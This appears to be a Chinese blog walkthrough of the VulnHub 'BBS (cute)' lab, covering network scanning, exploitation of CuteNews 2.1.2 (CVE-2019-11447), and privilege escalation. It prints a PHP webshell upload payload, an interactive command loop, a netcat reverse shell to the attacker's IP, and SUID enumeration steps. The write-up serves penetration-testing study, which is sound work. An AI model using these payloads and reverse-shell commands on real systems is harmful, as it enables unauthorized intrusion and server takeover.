当前位置: 首页 > news >正文

BBS (cute): 1.0.2靶场渗透

BBS (cute): 1.0.2

来自 <BBS (cute): 1.0.2 ~ VulnHub>

前言:攻击机无法扫描靶机解决方案

1,在开机时,按下shift进入界面,按e进入该界面

2,ro替换为 rw signie init=/bin/bash

3,按Ctrl键+X键如果没成功说明配置错了需要从新继续配置 如果是下面这个界面说明配置成功

4,查看当前网卡信息

5,发现网卡是ens33,那么接着编辑网卡配置文件vi /etc/network/interfaces

6,重启网卡 /etc/init.d/networking restart

7,成功分配到IP地址

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.238

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.238

目标主机有5个开放端口22(SSH),80(HTTP),88(HTTP),110(PoP3),995(SSL PoP3)。首先访问80端的网站看看

然后88端口

4,扫描网站存在哪些子目录

dirsearch -u http://192.168.23.238 -x 403,404

访问index.php看看

发现存在一个登录页面,而且网站首页泄露了CMS版本,检索发现果然存在严重的漏洞

searchsploit CuteNews 2.1.2

CuteNews是一款基于PHP开发的新闻管理系统,主要用于管理博客或复杂的新闻发布平台。以下是其核心特点及安全概况的综合介绍:

1. 功能与架构

  • 核心功能:CuteNews提供新闻发布、评论管理、用户权限控制、模板编辑等功能,支持预定时发布、媒体文件管理和多语言日期格式设置。其管理面板集成了分类管理、IP封禁、评论审核等工具,适合中小型网站的内容管理
  • 技术架构:采用平坦式文件存储(无需数据库依赖),通过PHP脚本实现动态内容管理,模板文件以.tpl格式存储,支持HTML和PHP代码混合编写

2. 版本与更新

最新版本:根据公开记录,2015年发布的2.0.3版本新增了Base64编码存储(增强安全性)、迁移工具优化、模板标签修复等功能

历史问题:早期版本(如1.4.6)存在多个安全漏洞,包括跨站脚本(XSS)和未授权访问风险,例如:

  • XSS漏洞:通过register.phpresult参数、search.phpuser参数等输入点注入恶意脚本3
  • PHP代码注入:管理员编辑模板时未过滤输入,攻击者可插入PHP代码执行任意系统命令(如Shell命令),影响版本包括2.x系列

3. 安全风险与漏洞

高危漏洞

  • 远程代码执行(RCE):攻击者通过构造恶意模板文件(如插入<?PHP system("命令"); ?>)可控制服务器,此漏洞因缺乏输入过滤而长期存在256
  • 文件遍历与权限绕过:部分版本允许通过URL参数非法访问系统文件(如Apache配置、日志文件),进一步引发代码注入7
  • 厂商响应:截至搜索结果时间(最新为2022年),官方未提供针对上述漏洞的补丁,仅建议用户关注官网更新46

5,下载这个漏洞利用文件看看

searchsploit -m 48800.py

cat 48800.py 

CVE-2019-11447漏洞概要

  • 漏洞名称:CuteNews 2.1.2 - Remote Code Execution (RCE)
  • CVE编号:CVE-2019-11447
  • 漏洞类型:文件上传+远程代码执行
  • 影响版本:CuteNews <= 2.1.2
  • 利用前提:攻击者需要有权限注册或登录网站(低权限用户足够)

漏洞成因分析

1. 用户头像上传点可被利用

CuteNews 支持用户上传头像文件作为个人资料图像,文件上传路径如下:

/cdata/users/[username].php

上传表单处理代码在 core/modules/preview.php 和 core/core.php 中有关头像处理逻辑,未对上传的文件扩展名和 MIME 类型做有效验证。攻击者可以将 PHP 代码上传为伪装成图像文件(如 .php 后缀或 .php;.jpg 等变种)。

2. 绕过文件扩展名限制

部分版本中对头像上传支持的文件扩展名没有严格过滤,甚至允许上传 .php 或者通过使用 filename.php.jpg 形式上传,服务器端未对 MIME 类型或实际文件内容做校验。

3. 上传后的文件可直接访问并被解析

上传后的文件被保存至可被 Web 服务器执行的位置,如:

/uploads/avatar/evil.php

Web 服务器如 Apache/Nginx 会解析 .php 文件,攻击者上传的代码如:

<?php system($_GET['cmd']); ?>

当访问如下 URL 时即可执行命令:

http://victim.com/uploads/avatar/evil.php?cmd=whoami

4. 权限控制不当

即便是普通用户注册账户后也可以上传头像,系统未对用户操作进行进一步权限细化,造成攻击面扩大。

漏洞利用脚本原理分解

0x01 漏洞点确认

漏洞位于 用户头像上传接口,CuteNews 对上传头像的内容未进行 MIME 类型校验和扩展名过滤,且头像文件会被保存在 可执行的 Web 目录 中,因此可以上传包含恶意 PHP 代码的文件并通过浏览器访问触发执行。

0x02 核心攻击步骤分析

步骤 1:提取哈希凭证(可选步骤)

url = f"{ip}/CuteNews/cdata/users/lines"
encoded_creds = sess.get(url).text
...
credentials = b64decode(line)
sha_hash = re.search('"pass";s:64:"(.*?)"', credentials.decode()).group(1)

  • 尝试从 cdata/users/lines 文件中提取用户的 base64 编码的序列化数据。
  • 通过正则解析出 SHA-256 的密码哈希。
  • 虽然这不是攻击必要步骤,但可用于进一步暴力破解后台密码。

步骤 2:注册一个合法用户

postdata = {
  "action": "register",
  "regusername": userpass,
  ...
}
sess.post(f"{ip}/CuteNews/index.php?register", ...)

  • 自动生成随机用户名和密码。
  • 利用 CuteNews 允许任意注册用户上传头像的权限。
  • 注册成功后具备上传权限。

步骤 3:上传恶意“头像”文件(核心 RCE 入口)

payload = "GIF8;\n<?php system($_REQUEST['cmd']) ?>"
...
"avatar_file" : (f"{logged_user}.php", payload)

  • 构造恶意头像文件内容:添加 GIF8;(绕过部分图像解析器的简单校验),后跟 PHP 命令执行代码。
  • 上传的文件名为:{logged_user}.php,文件保存路径为:
    CuteNews/uploads/avatar_{user}_{user}.php
  • 由于上传目录可执行,上传成功后即可访问该文件远程执行命令:
    http://target/CuteNews/uploads/avatar_user_user.php?cmd=whoami

步骤 4:与 WebShell 交互,执行系统命令

while True:
    command = input("command > ")
    postdata = {"cmd": command}
    sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)

  • 向 WebShell POST 数据 cmd=命令。
  • 服务端执行 system($_REQUEST['cmd']) 并返回结果。

关键点总结

步骤

问题点

用户注册

无验证码/注册限制,攻击者可自注册

头像上传

文件扩展名和 MIME 类型未校验

存储路径

上传路径可被 Web 执行

代码执行

上传内容可直接作为 PHP 脚本被执行

权限控制

普通用户可触发整个攻击流程

6,漏洞利用代码里的url需要根据情况进行修改(而前面目录扫描的时候已经知道目录名称,需要将原来的exploit代码删除掉/CuteNews)

:%s/\/CuteNews//g

解释:

  1. :%s:对整个文件进行替换(% 表示范围为全文件)。
  2. /\/CuteNews/:匹配 /CuteNews。由于 / 是分隔符,需要在前面加 \ 进行转义。
  3. /\//:替换为 /。
  4. g:表示全局替换每一行中所有匹配项。

替换成功,开始执行代码

python 48800.py  

然后迁移shell

nc -e /bin/bash 192.168.23.182 4444

nc -lvvp 4444

然后再使用python开启一个可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

成功getshell

7,然后信息收集,看如何getshell

sudo -l

发现需要密码,这个方法行不通

find / -perm -u=s 2>/dev/null

提权成功,成功得到flag

相关文章:

  • [Linux]多线程(一)充分理解线程库
  • TCP数据报
  • 开发积分商城为商家带来的多重优势
  • 2.4线性方程组
  • CAN通信
  • Twin Builder 中的电池等效电路模型仿真
  • 如何在 Vue3 中更好地使用 Typescript
  • 【计算机网络 第8版】谢希仁编著 第四章网络层 地址类题型总结
  • Spring Boot操作MongoDB的完整示例大全
  • 《算法导论(第4版)》阅读笔记:p9-p9
  • OSCP - Proving Grounds - NoName
  • P1782 旅行商的背包 Solution
  • vue3在使用@import “./index.scss“报错
  • 用 GRPO 魔法点亮Text2SQL 的推理之路:让模型“思考”得更像人类
  • FastJson 转 Jackson 指南
  • Codeforces Round 1023 (Div. 2) ABC
  • 一种基于条件生成对抗网络(cGAN)的CT重建算法
  • 美团Java高级配送员面经分享|玩梗版
  • Xshel工具介绍
  • 提示词优化:检索历史提示确定方向→生成候选提示并控制修改幅度→基于准确率迭代优化
  • 证监会主席吴清:我们资本市场最重要的特征是“靠谱”
  • 体坛联播|国米淘汰巴萨晋级欧冠决赛,申花击败梅州避免连败
  • 默茨在德国联邦议院第一轮投票中未能当选总理
  • 新华社:让历史照鉴未来
  • 抗战回望16︱《青年生活》《革命青年》:抗战与青年
  • 滨江集团:一季度营收225.07亿元,净利润9.75亿元